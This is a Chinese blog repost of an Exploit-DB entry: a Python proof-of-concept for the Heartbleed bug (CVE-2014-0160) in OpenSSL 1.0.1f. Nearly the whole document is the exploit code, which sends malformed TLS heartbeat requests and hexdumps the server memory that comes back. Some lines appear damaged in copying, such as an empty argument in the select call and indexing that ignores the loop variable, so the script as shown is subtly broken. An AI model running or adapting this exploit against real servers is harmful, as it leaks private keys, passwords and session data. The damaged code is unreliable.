【转】OpenSSL 1.0.1f TLS Heartbeat Extension

po98

　　转自http://www.exploit-db.com/exploits/32764/
　　



  1 # Exploit Title: [OpenSSL TLS Heartbeat Extension - Memory Disclosure - Multiple SSL/TLS versions]
  2 # Date: [2014-04-09]
  3 # Exploit Author: [Csaba Fitzl]
  4 # Vendor Homepage: [http://www.openssl.org/]
  5 # Software Link: [http://www.openssl.org/source/openssl-1.0.1f.tar.gz]
  6 # Version: [1.0.1f]
  7 # Tested on: [N/A]
  8 # CVE : [2014-0160]
  9
10
11 #!/usr/bin/env python
12
13 # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
14 # The author disclaims copyright to this source code.
15 # Modified by Csaba Fitzl for multiple SSL / TLS version support
16
17 import sys
18 import struct
19 import socket
20 import time
21 import select
22 import re
23 from optparse import OptionParser
24
25 options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
26 options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
27
28 def h2bin(x):
29     return x.replace(' ', '').replace('\n', '').decode('hex')
30
31 version = []
32 version.append(['SSL 3.0','03 00'])
33 version.append(['TLS 1.0','03 01'])
34 version.append(['TLS 1.1','03 02'])
35 version.append(['TLS 1.2','03 03'])
36
37 def create_hello(version):
38     hello = h2bin('16 ' + version + ' 00 dc 01 00 00 d8 ' + version + ''' 53
39 43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
40 bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
41 00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
42 00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
43 c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
44 c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
45 c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
46 c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
47 00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
48 03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
49 00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
50 00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
51 00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
52 00 0f 00 01 01
53 ''')
54     return hello
55
56 def create_hb(version):
57     hb = h2bin('18 ' + version + ' 00 03 01 40 00')
58     return hb
59
60 def hexdump(s):
61     for b in xrange(0, len(s), 16):
62         lin = [c for c in s[b : b + 16]]
63         hxdat = ' '.join('%02X' % ord(c) for c in lin)
64         pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
65         print "  %04x: %-48s %s" % (b, hxdat, pdat)
66     print
67
68 def recvall(s, length, timeout=5):
69     endtime = time.time() + timeout
70     rdata = ''
71     remain = length
72     while remain > 0:
73         rtime = endtime - time.time()
74         if rtime < 0:
75             return None
76         r, w, e = select.select(, [], [], 5)
77         if s in r:
78             data = s.recv(remain)
79             # EOF?
80             if not data:
81                 return None
82             rdata += data
83             remain -= len(data)
84     return rdata
85
86
87 def recvmsg(s):
88     hdr = recvall(s, 5)
89     if hdr is None:
90         print 'Unexpected EOF receiving record header - server closed connection'
91         return None, None, None
92     typ, ver, ln = struct.unpack('>BHH', hdr)
93     pay = recvall(s, ln, 10)
94     if pay is None:
95         print 'Unexpected EOF receiving record payload - server closed connection'
96         return None, None, None
97     print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
98     return typ, ver, pay
99
100 def hit_hb(s,hb):
101     s.send(hb)
102     while True:
103         typ, ver, pay = recvmsg(s)
104         if typ is None:
105             print 'No heartbeat response received, server likely not vulnerable'
106             return False
107
108         if typ == 24:
109             print 'Received heartbeat response:'
110             hexdump(pay)
111             if len(pay) > 3:
112                 print 'WARNING: server returned more data than it should - server is vulnerable!'
113             else:
114                 print 'Server processed malformed heartbeat, but did not return any extra data.'
115             return True
116
117         if typ == 21:
118             print 'Received alert:'
119             hexdump(pay)
120             print 'Server returned error, likely not vulnerable'
121             return False
122
123 def main():
124     opts, args = options.parse_args()
125     if len(args) < 1:
126         options.print_help()
127         return
128     for i in range(len(version)):
129         print 'Trying ' + version[0] + '...'
130         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
131         print 'Connecting...'
132         sys.stdout.flush()
133         s.connect((args[0], opts.port))
134         print 'Sending Client Hello...'
135         sys.stdout.flush()
136         s.send(create_hello(version[1]))
137         print 'Waiting for Server Hello...'
138         sys.stdout.flush()
139         while True:
140             typ, ver, pay = recvmsg(s)
141             if typ == None:
142                 print 'Server closed connection without sending Server Hello.'
143                 return
144             # Look for server hello done message.
145             if typ == 22 and ord(pay[0]) == 0x0E:
146                 break
147
148         print 'Sending heartbeat request...'
149         sys.stdout.flush()
150         s.send(create_hb(version[1]))
151         if hit_hb(s,create_hb(version[1])):
152             #Stop if vulnerable
153             break
154
155 if __name__ == '__main__':
156     main()